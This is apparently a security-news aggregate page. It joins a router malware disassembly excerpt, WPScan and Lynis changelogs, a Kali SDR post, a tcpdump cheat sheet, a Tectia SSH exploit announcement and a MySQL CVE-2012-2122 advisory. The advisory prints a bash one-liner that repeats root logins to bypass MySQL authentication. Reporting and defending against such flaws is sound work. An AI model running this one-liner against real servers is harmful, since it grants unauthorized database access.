.text:0x0A59C  MOV  R2, #0x20
.text:0x0A5A0  ADD  R0, R8, R0
.text:0x0A5A4  BL   sub_0x0252B8
.text:0x0A5A8  ADD  R0, R5, #0xC7
.text:0x0A5AC  LDR  R1 <--- "Host: "
.text:0x0A5B0  MOV  R2, #6
.text:0x0A5B4  ADD  R0, R8, R0
.text:0x0A5B8  BL   sub_0x0252B8
.text:0x0A5BC  MOV  R0, R9
.text:0x0A5C0  BL   sub_0x024540
.text:0x0A5C4  ADD  R5, R5, #0xCD
.text:0x0A5C8  ADD  R4, R8, R5
.text:0x0A5CC  MOV  R2, R0
.text:0x0A5D0  MOV  R1, R9
.text:0x0A5D4  MOV  R0, R4
.text:0x0A5D8  BL   sub_0x0252B8
.text:0x0A5DC  MOV  R0, R9
.text:0x0A5E0  BL   sub_0x024540
.text:0x0A5E4  ADD  R5, R5, R0
.text:0x0A5E8  LDR  R1 <--- "\r\nConnection: Keep-Alive\r\n"
.text:0x0A5EC  MOV  R2, #0x1A
.text:0x0A5F0  ADD  R0, R8, R5
.text:0x0A5F4  BL   sub_0x0252B8
.text:0x0A5F8  ADD  R0, R5, #0x1A
.text:0x0A5FC  MOV  R2, #0x14
.text:0x0A600  LDR  R1 <--- "Pragma: no-cache\r\n\r\n"
.text:0x0A604  ADD  R0, R8, R0
.text:0x0A608  BL   sub_0x0252B8
.text:0x0A60C  MOV  R1, #1
.text:0x0A610  MOV  R0, #0xD
.text:0x0A614  BL   sub_0x01614C
.text:0x0A618  MOV  R0, R10
.text:0x0A61C  MOV  R1, R8
.text:0x0A620  ADD  R2, R5, #0x2E
.text:0x0A624  MOV  R3, #0
.text:0x0A628  BL   sub_0x0E1D0
   :    ;
.text:0x0A674  LDR  R1 <-- "GET "
.text:0x0A678  MOV  R2, #4
.text:0x0A67C  MOV  R0, R8
.text:0x0A680  BL   sub_0x0252B8

Detection ratio & sample

The detection ratio is very low, like..ZERO. Here’s the evidence, please click to enlarge the image:

The VirusTotal’s link is here–>[LINK]

This post is a proof of concept that routers is aimed by the malware actors for many reasons, and one of the main reason is because they are widely used all over the internet with having the global IP address. For the crooks who are behind this post, owning many routers means having power of an “army of DoS bots” than can be powerful tool for an attack. We saw not only ARM architecture, but MIPS, MIPSEL, SuperH binaries are also spotted in the wild.

I am adding these project’s sample in kernel mode, Will add the link shortly in here, please stay tune, I must clean up all of the garbage I made first. This is the link–>[HERE]

Conclusion & additional notes

It is up to you to defend your own router. As you can see no AV can detect these malware, it’s over a week being there now. Please check your router user interface, make sure you are using the latest updates/firmware and make sure that your setting is correct and unchanged. Being skeptical during checking your router/gateway layer is very recommendable, and if you find anything unusual/suspicious please analyze it WHY and try not to let it go until you find a satisfactory answer for it. If you find it work and having no problem, backup the setting and save it right away.

The Intel x32 edition of this variant just was just spotted, analysis is here–>[LINK] <<– you can see more details on source, compatibility, compilation etc.

The router version of ELF DDoS + backdoor malware is also spotted in the MIPS architercture, analysis is here–>[HERE] and in here–>[HERE]. The older version of the ARM ELF DDoS’er malware spotted is also available here–>[HERE].
The below tweet is the PoC that even PPC architecture is also aimed by DDoS’er malware too now (different actor & using “Tsunami” malware)

This is a warning of the true fact & evidence that the recent ELF malware coders are not only aiming x32 or x64 servers anymore, but routers too.

Why SOHO routers are aimed for malware infection?

The excellent research conducted by ISE (independent security firm in Baltimore, Maryland) explained in their publishment here–[LINK], that:
“..discovered critical security vulnerabilities in numerous small office/home office (SOHO) routers and wireless access points. These vulnerabilities allow a remote attacker to take full control of the router’s configuration settings; some allow a local attacker to bypass authentication directly and take control. “

As an illustration, ISE shows a matrix of vulnerability vectors for the evaluated known routers:

This shows us there is a weak security vector is aimed in SOHO router layer, and most of the houses & SOHO business are connected in the internet through these xDSL routers. We can not under-estimated the current volume of these routers, being up and alive in internet now. Maybe there’s only a low percentage of alive routers are having the vulnerabilities mentioned, but please imagine how powerful a DDoS attack will be if a bad actor is successfully gaining access to control, say, 1% of overall alive xDSL SOHO routers. And please think what if your house or office routers are unknowingly participated into a DDoS or other attacks against a certain banks or a specific country in the world?

China ELF CNC & Web Panels Takedown

Among of the attackers we detected so far, China’s bad actors are the most aggressive one. If the bad actors in China think that MMD won’t do anything about their evil action, they can start to cry now, we tango’ed 25 29 ELF malware download panels panels (the counting is still rolling) as per announced below:




CREDIT:  #MalwareMustDie

WPScan – WordPress Security Scanner

WPScan is a black box WordPress vulnerability scanner.



  • Username enumeration (from author querystring and location header)
  • Weak password cracking (multithreaded)
  • Version enumeration (from generator meta tag and from client side files)
  • Vulnerability enumeration (based on version)
  • Plugin enumeration (2220 most popular by default)
  • Plugin vulnerability enumeration (based on plugin name)
  • Plugin enumeration list generation
  • Other misc WordPress checks (theme name, dir listing, …)


  • Windows not supported
  • Ruby >= 1.9.2 – Recommended: 1.9.3
  • Curl >= 7.21 – Recommended: latest – FYI the 7.29 has a segfault
  • RubyGems – Recommended: latest
  • Git

Changelog v2.4


  • ‘–batch’ switch option added – Fix #454
  • Add random-agent
  • Added more CLI options
  • Switch over to NIST– Fix #301
  • New choice added when a redirection is detected – Fix #438


  • Removed ‘Total WordPress Sites in the World’ counter from stats
  • Old wpscan repo links removed – Fix #440
  • Fingerprinting Dev script removed
  • Useless code removed

General core

  • Rspecs update
  • Forcing Travis notify the team
  • Ruby 2.1.1 added to Travis
  • Equal output layout for interaction questions
  • Only output error trace if verbose if enabled
  • Memory improvements during wp-items enumerations
  • Fixed broken link checker, fixed some broken links
  • Couple more 404s fixed
  • Themes & Plugins list updated

WordPress Fingerprints

  • WP 3.8.2 & 3.7.2 Fingerprints added – Fix #448
  • WP 3.8.3 & 3.7.3 fingerprints
  • WP 3.9 fingerprints

Fixed issues

  • Fix #380 – Redirects in WP 3.6-3.0
  • Fix #413 – Check the version of the Timthumbs files found
  • Fix #429 – Error WpScan Cache Browser
  • Fix #431 – Version number comparison between ’2.3.3′ and ’0.42b’
  • Fix #439 – Detect if the target goes down during the scan
  • Fix #451 – Do not rely only on files in wp-content for fingerprinting
  • Fix #453 – Documentation or inplemention of option parameters
  • Fix #455 – Fails with a message if the target returns a 403 during the wordpress check


  • Update WordPress Vulnerabilities
  • Fixed some duplicate vulnerabilities

WPScan Database Statistics:

  • Total vulnerable versions: 79; 1 is new
  • Total vulnerable plugins: 748; 55 are new
  • Total vulnerable themes: 292; 41 are new
  • Total version vulnerabilities: 617; 326 are new
  • Total plugin vulnerabilities: 1162; 146 are new
  • Total theme vulnerabilities: 330; 47 are new



CREDIT: blackploit

Lynis – Auditing tool for Unix/Linux v1.3.5

Lynis is an auditing tool for Unix/Linux. It performs a security scan and determines the hardening state of the machine. Any detected security issues will be provided in the form of a suggestion or warning. Beside security related information it will also scan for general system information, installed packages and possible configuration errors.

This software aims in assisting automated auditing, hardening, software patch management, vulnerability and malware scanning of Unix/Linux based systems. It can be run without prior installation, so inclusion on read only storage is possible (USB stick, cd/dvd).

Lynis assists auditors in performing Basel II, GLBA, HIPAA, PCI DSS and SOx (Sarbanes-Oxley) compliance audits.

Intended audience:

Security specialists, penetration testers, system auditors, system/network managers.

Examples of audit tests:

  • Available authentication methods
  • Expired SSL certificates
  • Outdated software
  • User accounts without password
  • Incorrect file permissions
  • Configuration errors
  • Firewall auditing

Change log

– OS detection for Mageia Linux, PCLinuxOS, Sabayon Linux and Scientific Linux
– Added some initial systemd support (e.g. boot services)
– Test to display if any known MAC framework is implemented [MACF-6290]

– Improved support for Slackware Linux (OS and version detection)
– Added systemd support (boot and running services) for Linux systems [BOOT-5177]
– Added systemd support (default runlevel) for Linux systems [KRNL-5622]
– Extended USB storage check in modprobe.d directory [STRG-1840]
– Improved output, reporting and check for kernel update [KRNL-5788]
– Optimized code and output of test to check writable scripts [BOOT-5184]
– Fixed detection for writable scripts [BOOT-5184]
– Improved detection IPv6 addresses for Slackware and others [NETW-3008]
– Minor addition to SSH PermitRootLogin check [SSH-7412]
– Extended cronjob tests, reporting and logging [SCHD-7704]
– Extended umask check in /etc/profile [AUTH-9328]
– Added suggestion about BIND version [NAME-4210]
– Merged test NTP daemon test TIME-3108 into TIME-3104
– Improved support for Arch Linux (output, detection)
– Extended common list of directories with SSL certifcates in profile
– New function GetHostID() to determine an unique identifier of the machine
– Added a tests_custom file template
– Perform file permissions test on tests_custom file
– Improved OS detection and extended logging on several tests
– Several layout improvements
– Extended update check functions and output
– Cleaned up reporting and extended it with exceptions

Credit: ToolsWatch

Kali Linux Improves Software Defined Radio (SDR) Support


I have been a long time user of Backtrack Linux and have used Kali Linux since it’s release earlier this year. I have been very impressed with Kali Linux, its Debian base has meant much better stability. The range of packages included is excellent and for penetration testing there is no better platform. However it was missing some key packages needed for SDR and it’s version of GNU Radio was outdated. The only option was to build from source which was time consuming and some users had build issues.

GNURadio Kali Linux

GNURadio Kali Linux

Software Defined Radio

With the availability of cheap SDR platforms like the RTL2832U and the E4000 SDR has become accessible to everyone. With releases of BladeRF and soon to be released HackRF the analysis of unintended emissions is going to factor into penetration tests of higher security environments.

Kali Linux 1.0.5 Update with SDR Support

The upcoming release of Kali Linux 1.0.5 has improved support for SDR. For a full list of changes check out the change log. It is excellent to see that the team behind Kali Linux is so responsive to the user community. Devon or dookie is a tireless worker behind the scenes and has been responsible for the addition of the SDR tools. He is also co-author of the Metasploit Bible, the book that every pentester has in their library. The List below shows some of the tools, libs and applications added.

  • Kalibrate for RTLSDR
  • gr-air-modes
  • RTLSDR Scanner
  • pyrtlsdr
  • GNU Radio Signal Scanner
  • libosmocore 0.6.3
  • grextras
  • gr-baz
  • gr-osmosdr
  • gr-iqbal
  • rtl-sdr 0.5.0
  • HackRF for SDR
  • gr-fcdproplus for SDR
  • UHD Images

GNU Radio Version

GNU Radio has been updated to this is the last stable release of the 3.6 branch and is compatible with a lot of third party applications and libraries. Version 3.7 of GNU Radio has had a big reorganization of blocks and a major API changes.


Gqrx Kali Linux

Gqrx is a SDR receiver powered by GNU Radio that has the following features. :

  • Discover devices attached to the computer.
  • Process I/Q data from the supported devices.
  • Change frequency, gain and apply various corrections (frequency, I/Q balance).
  • AM, SSB, FM-N and FM-W (mono and stereo) demodulators.
  • Special FM mode for NOAA APT.
  • Variable band pass filter.
  • AGC, squelch and noise blankers.
  • FFT plot and waterfall.
  • Record and playback audio to / from WAV file.
  • Spectrum analyzer mode where all signal processing is disabled.

Version 2.1 is used as it is built off the 3.6 branch.

There are many other useful applications added and I am sure there are more to come. I have done a little testing and I have been able to successfully build third party apps. I am now using Kali Linux exclusively as my platform for SDR work. If you are not using Kali Linux already I recommend you download it and try it for yourself.



Credit: @NowSec – needsec

Tcpdump commands and usage examples


In most cases you will need root permission to be able to capture packets on an interface.

Using tcpdump (with root) to capture the packets and saving them to a file to analyze with Wireshark (using a regular account) is recommended over using Wireshark with a root account to capture packets on an “untrusted” interface.

See the Wireshark security advisories for reasons why.


See the list of interfaces on which tcpdump can listen:
tcpdump -D

Listen on interface eth0:
tcpdump -i eth0

Listen on any available interface (cannot be done in promiscuous mode. Requires Linux kernel 2.2 or greater):
tcpdump -i any

Be verbose while capturing packets:
tcpdump -v

Be more verbose while capturing packets:
tcpdump -vv

Be very verbose while capturing packets:
tcpdump -vvv

Be less verbose (than the default) while capturing packets:
tcpdump -q

Limit the capture to 100 packets:
tcpdump -c 100

Record the packet capture to a file called capture.cap:
tcpdump -w capture.cap

Record the packet capture to a file called capture.cap but display on-screen how many packets have been captured in real-time:
tcpdump -v -w capture.cap

Display the packets of a file called capture.cap:
tcpdump -r capture.cap

Display the packets using maximum detail of a file called capture.cap:
tcpdump -vvv -r capture.cap

Display IP addresses and port numbers instead of domain and service names when capturing packets:
tcpdump -n

Capture any packets where the destination host is Display IP addresses and port numbers:
tcpdump -n dst host

Capture any packets where the source host is Display IP addresses and port numbers:
tcpdump -n src host

Capture any packets where the source or destination host is Display IP addresses and port numbers:
tcpdump -n host

Capture any packets where the destination network is Display IP addresses and port numbers:
tcpdump -n dst net

Capture any packets where the source network is Display IP addresses and port numbers:
tcpdump -n src net

Capture any packets where the source or destination network is Display IP addresses and port numbers:
tcpdump -n net

Capture any packets where the destination port is 23. Display IP addresses and port numbers:
tcpdump -n dst port 23

Capture any packets where the destination port is is between 1 and 1023 inclusive. Display IP addresses and port numbers:
tcpdump -n dst portrange 1-1023

Capture only TCP packets where the destination port is is between 1 and 1023 inclusive. Display IP addresses and port numbers:
tcpdump -n tcp dst portrange 1-1023

Capture only UDP packets where the destination port is is between 1 and 1023 inclusive. Display IP addresses and port numbers:
tcpdump -n udp dst portrange 1-1023

Capture any packets with destination IP and destination port 23. Display IP addresses and port numbers:
tcpdump -n “dst host and dst port 23”

Capture any packets with destination IP and destination port 80 or 443. Display IP addresses and port numbers:
tcpdump -n “dst host and (dst port 80 or dst port 443)”

Capture any ICMP packets:
tcpdump -v icmp

Capture any ARP packets:
tcpdump -v arp

Capture either ICMP or ARP packets:
tcpdump -v “icmp or arp”

Capture any packets that are broadcast or multicast:
tcpdump -n “broadcast or multicast”

Capture 500 bytes of data for each packet rather than the default of 68 bytes:
tcpdump -s 500

Capture all bytes of data within the packet:
tcpdump -s 0


Credit: rationallyparanoid

Remote 0day Exploit for Tectia SSH Server released

Hacker @kingcope discovered critical vulnerability in Tectia SSH Server. Exploit working on SSH-2.0- SSH Tectia Server (Latest available version from http://www.tectia.com) that allow attacker to bypass Authentication remotely.

Description : An attacker in the possession of a valid username of an SSH Tectia installation running on UNIX (verified on AIX/Linux) can login without a password. The bug is in the “SSH USERAUTH CHANGE REQUEST” routines which are there to allow a user to change their password. A bug in the code allows an attacker to login without a password by forcing a password change request prior to authentication.

Download Exploit Code : Click Here
A default installation on Linux (version of Tectia) is vulnerable to the attack. Eric Romang posted a Demo video on Youtube, hope you will like it 🙂
Command Source : http://goo.gl/BHqWd
CREDIT: Mohit Kumar

CVE-2012-2122 : Serious Mysql Authentication Bypass Vulnerability

A serious security bug in MariaDB and MySQL Disclosed, According to AdvisoryAll MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 are vulnerable. This issue got assigned an id CVE-2012-2122.

When a user connects to MariaDB/MySQL, a token (SHAover a password and a random scramble string) is calculated and comparedwith the expected value. Because of incorrect casting, it might’vehappened that the token and the expected value were considered equal,even if the memcmp() returned a non-zero value. In this caseMySQL/MariaDB would think that the password is correct, even while it isnot. Because the protocol uses random strings, the probability ofhitting this bug is about 1/256.”

Which means, if one knows a user name to connect (and “root” almostalways exists), she can connect using *any* password by repeatingconnection attempts. ~300 attempts takes only a fraction of second, sobasically account password protection is as good as nonexistent.Any client will do, there’s no need for a special libmysqlclient library.

The following one-liner in bash will provide access to an affected MySQL server as the root user account, without actually knowing the password.

$ for i in `seq 1 1000`; do mysql -u root –password=bad -h 2>/dev/null; done

Defense: The first rule of securing MySQL is to not expose to the network at large in the first place. Most Linux distributions bind the MySQL daemon to localhost, preventing remote access to the service. In cases where network access must be provided, MySQL also provides host-based access controls. There are few use cases where the MySQL daemon should be intentionally exposed to the wider network and without any form of host-based access control.
the easiest thing to do is to modify the my.cnf file in order to restrict access to the local system. Open my.cnf with the editor of your choice, find the section labeled [mysqld] and change (or add a new line to set) the “bind-address” parameter to “”. Restart the MySQL service to apply this setting.
Note: Download The Latest Exploits for CVE-2012-2122 From our TOOLS YARD section.
Credit: thehackernews